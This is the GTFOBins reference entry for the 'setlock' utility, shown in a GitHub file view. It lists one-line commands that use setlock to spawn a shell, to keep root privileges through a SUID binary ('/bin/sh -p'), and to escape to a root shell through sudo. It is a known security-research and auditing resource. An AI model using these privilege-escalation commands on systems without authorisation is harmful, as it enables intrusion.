GTFOBins.github.io/_gtfobins/setlock.md

12 lines
177 B
Markdown
Raw Normal View History

---
functions:
2022-12-24 12:49:30 +01:00
shell:
- code: |
TF=$(mktemp)
setlock $TF /bin/sh
suid:
- code: ./setlock - /bin/sh -p
sudo:
- code: sudo setlock - /bin/sh
---